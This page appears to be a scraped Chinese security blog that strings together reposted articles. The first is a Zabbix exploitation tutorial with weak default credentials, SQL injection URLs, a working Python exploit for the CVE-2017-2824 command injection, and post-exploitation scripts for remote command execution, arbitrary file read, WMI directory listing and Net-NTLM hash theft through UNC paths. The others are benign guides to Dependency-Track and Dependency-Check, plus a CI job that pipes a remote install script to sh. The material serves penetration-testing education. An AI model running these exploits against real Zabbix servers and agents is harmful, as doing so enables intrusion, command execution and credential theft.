when: on_success
expire_in: 30 days

完整示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
stages:
- build
- test
- deploy

build-job:
stage: build
script:
- echo "Compiling the code..."
- echo "Compile complete."

unit-test-job:
stage: test
script:
- echo "do unit test..."
- sleep 10
- echo "Code coverage is 90%"

lint-test-job:
stage: test
script:
- echo "do lint test..."
- sleep 10
- echo "No lint issues found."

security-test-job:
stage: test
script:
- echo "do opensca scan..."
- curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
- /root/.config/opensca-cli/opensca-cli -path $CI_PROJECT_DIR -token {put_your_token_here} -out $CI_PROJECT_DIR/results/result.html,$CI_PROJECT_DIR/results/result.dsdx.json
artifacts:
paths:
- results/
untracked: false
when: on_success
expire_in: 30 days

deploy-job:
stage: deploy
environment: production
script:
- echo "Deploying application..."
- echo "Application successfully deployed."

Zabbix 漏洞深入利用

Zabbix 漏洞深入利用

本文转自 Geekby 并作补充

1 前言

Zabbix 是一个基于 WEB 界面的提供分布式系统监视系统监视以及网络监视功能的企业级的开源解决方案,能监视各种网络参数,保证服务器系统服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。

1.1 组件

Zabbix 监控系统由以下几个组件部分构成:

  • Zabbix Server

Zabbix Server 是所有配置、统计和操作数据的中央存储中心,也是 Zabbix 监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。Zabbix Server 的功能可分解成为三个不同的组件,分别为 Zabbix Server 服务、Web 后台及数据库。

  • Zabbix Proxy

Zabbix Proxy 是在大规模分布式监控场景中采用一种分担 Zabbix Server 压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy 可以代替 Zabbix Server 收集性能和可用性数据,然后把数据汇报给 Zabbix Server,并且在一定程度上分担了 Zabbix Server 的压力。

  • Zabbix Agent

Zabbix Agent 部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。Zabbix Agent 收集本地的状态信息并将数据上报给 Zabbix Server 用于进一步处理。

1.2 网络架构

image

对于 Zabbix Agent 客户端来说,根据请求类型可分为被动模式及主动模式:

  • 被动模式:Server 向 Agent 的 10050 端口获取监控项数据,Agent 根据监控项收集本机数据并响应。
  • 主动模式:Agent 主动请求 Server (Proxy) 的 10051 端口获取监控项列表,并根据监控项收集本机数据提交给 Server (Proxy)

1.3 Zabbix Agent 配置

Zabbix Agent 服务的配置文件为 zabbix_agentd.conf,Linux 默认路径在 /etc/zabbix/zabbix_agentd.conf

image

配置文件中包含的一些基本设置选项:

  • Server 参数

Server 或 Proxy 的 IP、CIDR、域名等,Agent 仅接受来自 Server 参数的 IP 请求(白名单)。

  • ServerActive 参数

Server 或 Proxy 的 IP、CIDR、域名等,用于主动模式,Agent 主动向 ServerActive 参数的 IP 发送请求。

  • StartAgents 参数

zabbix 启动之后开启被动监控的进程数量,默认为3。如果设置为 0,那么 zabbix 被动监控被禁用,并且不会监听 10050 端口。

image

配置文件中包含的一些可能存在风险的设置选项:

  • Include 参数

加载配置文件目录单个文件或所有文件,通常包含的 conf 都是配置 UserParameter 自定义用户参数。

  • UserParameter 参数

自定义用户参数,格式为UserParameter=<key>,<command>,Server 可向 Agent 执行预设的自定义参数命令以获取监控数据,以官方示例为例:

1
UserParameter=ping[*],echo $1

当 Server 向 Agent 执行 ping[aaaa] 指令时,$1 为传参的值,Agent 经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa

command 存在命令拼接,但由于传参内容受 UnsafeUserParameters 参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

  • UnsafeUserParameters 参数

自定义用户参数是否允许传参任意字符,默认不允许字符 \ ' " `` * ? [ ] { } ~ $ ! & ; ( ) < > | # @,当 UnsafeUserParameters=1 时,允许特殊字符。

UserParameter=ping[*],echo $1 为例,向 Agent 执行指令 ping[test && whoami],经过命令拼接后最终执行 echo test && whoami,成功注入执行 shell 命令。

  • EnableRemoteCommands 参数

是否允许来自 Zabbix Server 的远程命令,开启后可通过 Server 下发 shell 脚本在 Agent 上执行。当值为 1 时,允许远程下发命令。

  • AllowRoot 参数

Linux 默认以低权限用户 zabbix 运行,开启后以 root 权限运行 zabbix_agentd 服务。当其值为 1 时,允许以 root 权限执行命令。

2 Zabbix 历史漏洞

2.1 弱口令

2.1.1 Web 端

Zabbix 安装后自带 Admin 管理员用户和 Guests 访客用户(低版本),可登陆 Zabbiax 后台。

常见弱口令组合:

  • admin:zabbix
  • Admin:zabbix
  • guset:空口令

2.1.2 mysql 端

由于 root 用户默认情况下无法外连,运维通常会新建 MySQL 用户 zabbix,常见密码如下:

1
2
3
4
5
6
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下 MySQL 数据库后,可解密 users 表的密码 md5 值,或者直接替换密码的 md5 为已知密码,即可登录 Zabbix Web。

2.2 CVE-2016-10134 - SQL 注入漏洞

该漏洞的具体分析可参考:zabbix SQL注入漏洞(CVE-2016-10134),原理是 insert 插入时未对用户输入的数据进行过滤,可以进行显错注入。

2.2.1 已有用户凭据

以 Guest 用户登录后,查看 Cookie 中的zbx_sessionid,复制后 16 位字符:

image

将这 16 个字符作为 sid 的值,访问 http://your-ip:8080/latest.php?output=ajax&sid=16位 ID&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:

image

2.2.2 无用户凭据

这个漏洞也可以通过 jsrpc.php 触发,且无需登录:http://IP:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

image

将用户密码 MD5 还原即可登录。漏洞利用脚本:zabbixPwn

2.3 CVE-2017-2824 - 命令注入

利用该漏洞,需要服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码 admin/zabbix 登录后台,进入 Configuration->Actions,将 Event source 调整为 Auto registration,然后点击 Create action,创建一个 Action,名字随意:

image

第三个标签页,创建一个 Operation,type是 Add Host

image

保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为 Agent。

第一条数据:

active checks是 Agent 主动检查时用于获取监控项列表的命令,Zabbix Server 在开启自动注册的情况下,通过 active checks 命令请求获取一个不存在的 host 时,自动注册机制会将 json 请求中的 host、ip 添加到 interface 数据表里。

1
{"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))

第二条数据:

1
{"request":"command","scriptid":1,"hostid":10001}

command 指令可以在未授权的情况下可指定主机 (hostid) 执行指定脚本 (scriptid),Zabbix 存在 3 个默认脚本,脚本中的 {HOST.CONN} 在脚本调用的时候会被替换成主机 IP。

1
2
3
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid 指定其中任意一个,hostid 为注入恶意 Payload 后的主机 id,但自动注册后的 hostid 是未知的,所以通过 command 指令遍历 hostid 的方式都执行一遍,最后成功触发命令注入漏洞。

由于默认脚本的类型限制,脚本都是在 Zabbix Server 上运行,Zabbix Proxy 是无法使用 command 指令的。payload 长度受限制可拆分多次执行,必须更换 host 名称以执行新的payload。

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import json
import sys


def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

image

image

2.4 CVE-2020-11800 - 命令注入

该漏洞为基于 CVE-2017-2824 的绕过利用。未授权攻击者向 Zabbix Server 的 10051 端口发送 trapper 功能相关命令,利用漏洞即可在 Zabbix Server 上执行系统命令。

其中 CVE-2020-11800 漏洞通过 ipv6 格式绕过 ip 字段检测注入执行 shell 命令,受数据表字段限制 Payload 长度只能为 64 个字符

1
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

由于 CVE-2017-2824 与 CVE-2020-11800 漏洞点及利用区别不大,不再复述。

3 Zabbix 后渗透测试

在拥有 Zabbix Server 权限后,如何利用当前权限进一步控制 Zabbix Agent?前文讲到,Zabbix Agent 的 10050 端口仅处理来自 Zabbix Server 或 Proxy 的请求,所以后续攻击都是依赖于 Zabbix Server 权限进行扩展。

在 zabbix 中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在 zabbix 中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在 zabbix 中被称为“键”(key),所以在 zabbix 中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。

在控制 Zabbix Server 权限的情况下可通过 zabbix_get 命令向 Agent 获取监控项数据,比如说获取 Agent 的系统内核信息:

image

关于监控项,可以参考:

Agent监控项较多不一一例举,可以参考:

1. Zabbix Agent监控项

2. Zabbix Agent Windows监控项

针对 item 监控项的攻击面进行挖掘,存在以下利用场景:

3.1 EnableRemoteCommands 参数远程命令执行

前文讲到,Agent 远程执行系统命令需要在 zabbix_agentd.conf 配置文件中开启 EnableRemoteCommands 参数。

在 Zabbix Web 上添加脚本,Execute on 选项可根据需求选择,选择 Zabbix server 不需要开启 EnableRemoteCommands 参数,所以一般控制 Zabbix Web 后可通过该方式在 Zabbix Server 上执行命令拿到服务器权限。

image

如果要指定某个主机执行该脚本,可从 Zabbix Web 的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应 Agent 上执行脚本。

image

如果类型是 Execute on Zabbix Agent ,Agent 配置文件在未开启 EnableRemoteCommands 参数的情况下会返回报错。

如果不想在 Zabbix Web 上留下太多日志痕迹,或者想批量控制 Agent,拿下 Zabbix Server 权限后可以通过 zabbix_get 命令向 Agent 执行监控项命令,在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令

image

3.2 UserParameter 自定义参数命令注入

当 Zabbiax Agent 的 zabbix_agentd.conf 配置文件开启 UnsafeUserParameters 参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数 UserParameter,就能达到命令注入的效果。

以下面配置为例:

image

1
zabbix_get -s agent -p 10050 -k "ping[test && id]"

image

3.3 任意文件读取

Zabbix Agent 如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。

Zabbix 原生监控项中,vfs.file.contents命令可以读取指定文件,但无法读取超过 64KB 的文件。

image

zabbix_agentd 服务默认以低权限用户 zabbix 运行,读取文件受 zabbix 用户权限限制。开启 AllowRoot 参数情况下 zabbix_agentd 服务会以 root 权限运行,利用 vfs.file.contents 命令就能任意文件读取。

如果文件超过 64KB 无法读取,在了解该文件字段格式的情况下可利用 vfs.file.regexp 命令正则获取关键内容。

3.4 Windows 目录遍历

Zabbix原生监控项中,wmi.get命令可以执行 WMI 查询并返回第一个对象,通过 WQL 语句可以查询许多机器信息。

如:WQL 查询盘符

1
zabbix_get -s agent -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

利用 wmi.get命令进行目录遍历、文件遍历,结合 vfs.file.contents 命令就能够在 Windows 下实现任意文件读取。

基于 zabbix_get 命令写了个 python 脚本,实现 Windows 的列目录、读文件功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import sys

count = 0

def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False

def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break

def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break

def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break

def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)

if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])

print("Request count: " + str(count))

3.5 Windows UNC 路径利用

在 Windows Zabbix Agent 环境中,可以利用 vfs.file.contents 命令读取 UNC 路径,窃取 Zabbix Agent 机器的 Net-NTLM hash,从而进一步 Net-NTLM relay 攻击。

Window Zabbix Agent 默认安装成 Windows 服务,运行在 SYSTEM 权限下。在工作组环境中,system 用户的 Net-NTLM hash 为空,所以工作组环境无法利用。

在域内环境中,SYSTEM 用户即机器用户,如果是 Net-NTLM v1 的情况下,可以利用 Responder 工具获取 Net-NTLM v1 hash 并通过算法缺陷解密拿到 NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下 Agent 机器权限。

也可以配合 CVE-2019-1040 漏洞,relay 到 ldap 上配置基于资源的约束委派进而拿下 Agent 机器权限。(此处直接结果直接引用,未做实验)

image

image

3.6 Zabbix Proxy 和主动检查模式利用场景

通过 zabbix_get 工具执行监控项命令只适合 Agent 被动模式且 10050 端口可以通讯的场景

如果在 Zabbix Proxy 场景或 Agent 主动检查模式的情况下,Zabbix Server 无法直接与 Agent 10050 端口通讯,可以使用比较通用的办法,就是通过 Zabbix Web 添加监控项。

image

其它配置同理,在此不做赘述。

参考

Dependency Track BOM文件推送插件使用

Dependency Track BOM文件推送插件使用

本文转自 Yemoox 并作补充

一、干活啦,猪头

开源第三方扫描工具Dependency的免费版-Dependency Track,用户第三方组件的漏洞监控,只需要推送BOM文件,就可以自动创建项目,然后进行检查。但在Java项目里,只有pom.xml文件,如何把利用pom.xml快速的生成bom文件,则成了如何帅气使用dependency Track的重要问题。靠着孜(不)孜(要)不(脸)倦(屁)的精神,终于把这个问题搞定了。

二、配置pom.xml文件

首先获取pom.xml文件,用IDEA打开,并为这个文件单独创建项目。

image

此时需要进行dependency Track的插件配置,插件地址为:https://github.com/pmckeown/dependency-track-maven-plugin,这里进行插件配置。
在pom.xml文件中找到plugins插件配置位置,添加插件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<plugin>
<groupId>io.github.pmckeown</groupId>
<artifactId>dependency-track-maven-plugin</artifactId>
<version>1.0.0</version>
<configuration>
<dependencyTrackBaseUrl>dependencyTrack URL</dependencyTrackBaseUrl>
<apiKey>api_key</apiKey>
</configuration>
</plugin>


<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.5.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>makeAggregateBom</goal>
</goals>
</execution>
</executions>
<configuration>
<projectType>library</projectType>
<schemaVersion>1.2</schemaVersion>
<includeBomSerialNumber>true</includeBomSerialNumber>
<includeCompileScope>true</includeCompileScope>
<includeProvidedScope>true</includeProvidedScope>
<includeRuntimeScope>true</includeRuntimeScope>
<includeSystemScope>true</includeSystemScope>
<includeTestScope>false</includeTestScope>
<includeLicenseText>false</includeLicenseText>
<outputFormat>all</outputFormat>
<outputName>bom</outputName>
</configuration>
</plugin>

在dependencyTrackBaseUrl条目中加入你的dependencyTrack地址,也就是你的访问URL,apikey条目中加入你的apikey,可在你的后台获取,注意这个apikey需要有添加权限,我这里直接给的最高的,避免出现未知情况。如果你的pom.xml文件中没有私有仓库地址,就可以运行命令进行生成bom文件,然后上传。

三、Maven私有仓库配置

因为演示的pom.xml中包含私有仓库,则需要对Maven进行私有仓库配置。如果你使用的是本地搭建的maven,则需要修改setting文件。如果是使用的是IDEA自带的Maven则需要改IDEA的maven配置。可以百度一下如何配置本地的maven私有库。

1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

四、BOM文件生成与上传

现在已经在pom.xml中配置好了dependencyTrack插件,和maven私有仓库。则可以在pom.xml目录下,运行BOM生成命令。

1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

此时在当前目录下已经生成target文件夹,以及该文件夹下的bom.xml文件,在运行上传命令,上传bom文件,上传成功后便可以去dependencyTrack查看项目了。

1
mvn dependency-track:upload-bom   

基于DependencyTrack实现第三方组件管理

基于DependencyTrack实现第三方组件管理

本文转自 Pamela@涂鸦智能安全实验室 并作补充

前言

在日常安全工作中,我们可能会经常遇到以下两个比较典型的场景:

场景1:如果某天某个第三方组件爆出了安全漏洞,那么如何在最短的时间里确认:

我们有这么多开发组,有没有哪个团队在用这个第三方组件?

用了这个第三方组件的团队,他们使用的组件的版本是否受此次漏洞影响?

场景2:各个团队当前使用的第三方组件的情况各不相同,从全局风险的角度来看,当前这些被使用的第三方组件的安全状况如何?例如:

是否有团队在使用含有已知安全漏洞的组件?

是否某个被使用的第三方组件已经过时?

是否某个或某些组件不合规或者存在风险?

基于以上场景,DependencyTrack应运而生。第三方组件管理在是开发安全中非常重要的一环,在上篇文章《浅谈软件成分分析(SCA)在企业开发安全建设中的落地思路》中,我们介绍过开源软件的风险以及在企业开发安全建设中的落地思路,并且在里面也有提到开源工具Dependency Track,不过只是简单提了一下,没有过多深入。而在这篇文章中,我们将重点介绍DependencyTrack的概念、以及使用。

Dependency Track

基本概念

Dependency-Track是OWASP推出的一个智能供应链组件分析平台,它集成了4种漏洞数据库:NPM Public Advisories、National Vulnerability Database、Sonartype OSS Index和VulnDB,帮助组织识别和减少使用第三方和开源组件的风险。

Dependency Track VS Dependency check

可能你听说过甚至用过开源社区OWASP出品的DependencyCheck这款开源工具来扫描软件中的第三方组件(也叫‘依赖’)的安全性,可是今天我们要讲的不是这个工具,而是另一款名字和它非常相似的工具:DependencyTrack,同样也是OWASP出品。

这两个工具就一字之差,DependencyCheck和DependencyTrack,都是做依赖安全检查的,有啥本质区别?简单讲,如果说DependencyCheck是给开发团队使用的工具,那么DependencyTrack更多的是给安全团队使用的工具。企业或者组织中的安全团队可以借助DependencyTrack实现第三方组件的统一安全管理。

image

通过以上的对比可以知道的是,这两个工具都可以检测出第三方组件的安全问题,不过本质区别在于,DependencyCheck只能对第三方组件做安全检测并生成报告,仅此而已。DependencyTrack会保存历次第三方组件安全检测结果,你可以通过Dashboard了解或者追踪第三方组件的安全变化趋势。与此同时,DependencyTrack还提供了很多额外的功能,例如漏洞通知、全局审查第三方组件、审计第三方组件软件授权协议、API等等。

检测原理

从下图中,可以看到Dependency Track通过接收到生成的Software BOM(软件物料清单),然后检查物料清单中的各个组件(以及当前清单中的版本)在漏洞数据库中是否存在已知安全漏洞的记录,并通过Dashboard展示出来。所以你需要先准备好一份SBOM清单,然后发送给Dependency Track,等待它完成扫描检测之后,然后在管理界面上查看结果。

image

你可能会问,SBOM是什么?SBOM(Software Bill of Material)翻译之后称为软件物料清单。通俗的解释就是我们用到的所有第三方组件依赖(包括第三方组件自己所依赖的其他第三方组件,换句话讲,依赖的依赖)的信息清单,这些内容包括author、group, licenses, versions and copyright等数据。

生成SBOM的工具有几个,其中比较有名的是CycloneDX。一旦我们有了BOM文件,我们就可以手动或通过整合CI/CD中的上传功能将其上传到Dependency-Track。Dependency track相当于一个漏洞库和分析引擎,它基于SBOM,在漏洞库中搜索,这样我们就可以获得比传统组件分析更完整、更复杂的信息。

核心架构

如图所示,Dpendency Track可以轻松集成到我们的CI/DC流程中。

image

Dependency Track默认集成了NVD、NPM Public Advisories、Sonatype OSS Index以及VulnDB 四个漏洞库,相比于其他开源检测工具单一的漏洞库,Dependency Track出现漏报或者误报的情况会小很多。同时它提供了强大的API集成功能(如openAPI和Jenkins的插件),在开发安全建设过程中我们可以将其整合到我们的pipeline中帮助DevOps团队提高开发流程速度,同时还能控制外部组件的使用和它们可能造成的风险。此外通过maven收集仓库中所有依赖包的信息,记录各个开发团队的应用程序所使用的各种第三方依赖信息,以便进行依赖包管理(版本控制、漏洞管理等)。在开发过程中可以基于soner bug追踪的组件安全跟踪,甚至fortify这样的代码白盒review介入,并通过邮件、钉钉告警通知安全团队、开发团队。

下面我们将通过简单的使用来感受一下。

基本使用

部署

DependencyCheck支持3种部署方式,分别是容器化部署、自运行安装包,以及可以直接在Tomcat里运行的WebApp包,此处以docker部署为例。

1
2
3
4
5
6
7
8
# 下载DependencyTrack镜像
docker pull owasp/dependency-track

# 创建并使用宿主机上的存储以避免数据丢失
docker volume create --name dependency-track

# 在8080端口上运行DependencyTrack,默认账户密码admin/admin
docker run -d -m 8192m -p 8080:8080 --name dependency-track -v dependency-track:/data owasp/dependency-track

更换默认数据库(可选)

1
2
3
4
5
6
7
#1.根路径新建dependency-track目录,然后在该目录下新建application.properties文件,在文件中填写下面配置
alpine.database.mode=external
alpine.database.url=jdbc:postgresql://localhost:5432/dtrack
alpine.database.driver=org.postgresql.Driver
alpine.database.username=dtrack
alpine.database.password=password
#2.使用命令docker-compose up重新启动一下,配置就生效了,启动时间可能略长。参考:<https://docs.dependencytrack.org/getting-started/database-support/>

这里输入账号和密码之后,会要求更改密码。正常输入账号密码之后就可以进入管理界面了,这里有一丢丢慢。。

image

进去之后,新建一个项目,如图所示:

image

接下来我们需要做的就是使用插件对代码项目生成bom.xml,类似pip request requirements,清点出使用的组件。Dependency track相当于一个漏洞库和分析引擎,这个方法好处就是只需要在客户端直接生成bom.xml,PUT track的REST接口即可。

总结起来分为两步:

  1. 生成bom.xml文件
  2. 将生成的bom.xml文件上传到Dependency-Track

有很多工具可以帮我们生成SBOM,例如CycloneDX Maven Plugin和cyclonedx-gradle-plugin,因为我采用Jenkins做构建工具,故此处使用OWASP Dependency-Track插件来生成SBOM。

首先,需要在jenkins中安装 OWASP Dependency-Track插件,搜索OWASP,第一个便是,选择安装即可。

image

安装成功后,我们需要新建一个job,点击进入配置里面,可以看到Publish BOM to Dependency-Track这一项,这个插件可以在执行一些操作后,将扫描出的三方依赖相关信息上传到Dependency-Track的服务里面,以便于分析。

接着在jenkins的job配置中做如下事情:

  1. 在源码管理模块配置拉取代码
  2. 在构建模块,选择Excute shell填写如下内容
1
2
3
4
# 打包
mvn clean install -D mvn.test.skip=true
# 生成bom.xml文件
mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom
  1. 构建后在操作模块,选择Publish BOM to Dependency-Track,填写生成bom.xml的路径,具体如下

image

最后,在配置完成后构建job,构建完成后即可在Dependency-Track的web页面看到上传的结果,包括项目的组件,三方依赖的漏洞信息等等内容,然后可根据分析结果进行针对性修复。其他配置可参考https://docs.dependencytrack.org/

这里如果推送失败的话,可以试下这个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {
$xml = Get-Content (Join-Path $PSScriptRoot ".\\bom.xml") –Raw
$ProjectGuid = "xxx"
$ApiKey = "xxx”
$Uri = "<http://localhost:8080>"

$Body = ([PSCustomObject] @{
project = $ProjectGuid
bom = ([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($xml)))
} | ConvertTo-Json)

$Header = @{ 'X-API-Key' = $ApiKey }

Invoke-RestMethod –Method Put –Uri "$Uri/api/v1/bom" –Headers $Header –ContentType "application/json" –Body $Body
}
catch {
Write-Host $_
}

卸载

docker rmi owasp/dependency-track
docker rm dependency-track
docker volume rm dependency-track:/data

Reference

docs.dependencytrack.org

https://zhuanlan.zhihu.com/p/269080779

https://mp.weixin.qq.com/s/_6G3gQHKoTmFKkdiE2gBLg

https://medium.com/devroot/deploying-dependency-track-as-a-container-in-azure-and-building-a-pipeline-with-azure-devops-ab1627961114

Dependency Check

Dependency Check

本文转自 icybersec 并作补充

https://github.com/jeremylong/DependencyCheck

简介

Dependency-Check 是一个开源的安全漏洞扫描工具,用于检查应用程序和依赖项中的已知漏洞。它可以扫描各种编程语言的依赖项,如Java、Python、.NET等,并根据公开的漏洞数据库,如NVD、OSV等,检查依赖项的版本是否存在已知的安全漏洞。

Dependency-Check 可以通过命令行或插件集成到各种构建工具中,如Maven、Gradle、Ant等。它会生成报告,显示已检测到的漏洞以及建议的修复措施。这些报告可以帮助开发人员识别和解决与应用程序或依赖项相关的安全问题,从而提高应用程序的安全性。

cli

dependency-check.sh支持的参数:

  • –advancedHelp:打印高级帮助信息。
  • –enableExperimental:启用实验性的分析器。
  • –exclude :指定一个排除模式。可以多次指定此选项,并接受 Ant 风格的排除。
  • -f,–format :指定报告格式(HTML、XML、CSV、JSON、JUNIT、SARIF、JENKINS 或 ALL)。默认为 HTML。可以指定多个格式参数。
  • –failOnCVSS :指定如果检测到 CVSS 分数高于指定级别的漏洞,构建是否应该失败。默认为 11;由于 CVSS 分数为 0-10,因此默认情况下构建永远不会失败。
  • -h,–help:打印帮助信息。
  • –junitFailOnCVSS :指定在生成 junit 报告时,被认为是失败的 CVSS 分数。默认值为 0。
  • -l,–log :写入详细日志信息的文件路径。
  • -n,–noupdate:禁用自动更新 NVD-CVE、hosted-suppressions 和 RetireJS 数据。
  • -o,–out :写入报告的文件夹路径。默认为当前目录。如果未将格式参数设置为 ALL,则可以将其设置为特定的文件名。
  • –prettyPrint:指定 JSON 和 XML 报告格式将被漂亮地打印。
  • –project :正在扫描的项目的名称。
  • -s,–scan :要扫描的路径 - 可以多次指定此选项。支持 Ant 风格的路径(例如,’path/**/*.jar’);如果使用 Ant 风格的路径,则强烈建议将参数值用引号引起来。
  • –suppression :抑制 XML 文件的文件路径。可以多次指定此选项以使用多个抑制文件。
  • -v,–version:打印版本信息。

对webgoat7的组件进行扫描

https://github.com/mpogr/WebGoat-7.0.1

1
./dependency-check.sh -s /tmp/WebGoat-7.0.1/ --project webgoat

输出扫描报告,没有扫描到有用的东西。

image

jenkins

docker启动Jenkins

1
docker run -itd -p 8080:8080 -p 50000:50000 -u root -v /tmp/jenkins:/var/jenkins_home   -v  /tmp/maven:/usr/local/maven jenkins/jenkins:2.344

安装插件

image

全局工具配置

Jenkins可以通过全局工具配置来安装一个或多个Dependency-Check版本。可以自动安装Dependency-Check,这将从Github下载并提取官方的命令行界面(CLI),或者可以手动安装官方版本,并在配置中引用安装路径。Dependency-Check是一个用于识别应用程序中存在的已知漏洞和依赖项的开源工具。

image

Builder

Builder是指使用预定义的Dependency-Check CLI安装之一执行分析的组件。在Jenkins中,特定于配置的部分很少,工作配置中的重要方面是“Arguments”字段,该字段直接发送到定义的CLI安装程序。Builder用于在Jenkins工作流中集成Dependency-Check分析。Builder的配置将传递给Dependency-Check CLI进行分析,并将分析结果传递回Jenkins用于显示和后续处理。

对webgoat进行maven编译,生成JAR包

image

Publisher

Publisher是一个独立于工具配置或Builder的组件,负责读取dependency-check-report.xml并生成指标、趋势、发现,并根据可配置的阈值选择性地将构建设为失败或警告状态。在Jenkins工作流程中,Publisher用于生成Dependency-Check的度量和报告,并可根据预定义的阈值将构建标记为失败或警告状态。通过读取dependency-check-report.xml文件,Publisher可以对构建进行分析并提供有关依赖项和已知漏洞的详细信息。

image

结果

构建结果

image

当任务配置了Publisher时,趋势图将显示按严重性分组的结果总数。

image

点击Latest Dependency-Check,可以看到具体的组件报告

image

image

maven

mvn

这是 Maven 插件 Dependency-Check 的命令,用于检测应用程序依赖项中已知漏洞并生成报告。

1
mvn org.owasp:dependency-check-maven:check
1
mvn org.owasp:dependency-check-maven:aggregate

命令执行是全面的漏洞扫描,并生成包含所有依赖项中已知漏洞信息的报告

image

使用maven进行扫描webgoat7可以看到报告里面有JAR包组件漏洞,比直接CLI扫描更能发现问题。

image

pom.xml

①检测组件

在目标目录中创建 dependency-check-report.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<build>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
...
</plugins>
...
</build>
...
</project>

在IDEA进行maven verify,生成报告

image

②检测所有依赖项

在站点内创建汇总的依赖性检查报告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project>
...
<reporting>
...
<plugins>
...
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.1.2</version>
<reportSets>
<reportSet>
<reports>
<report>aggregate</report>
</reports>
</reportSet>
</reportSets>
</plugin>
...
</plugins>
...
</reporting>
...
</project>

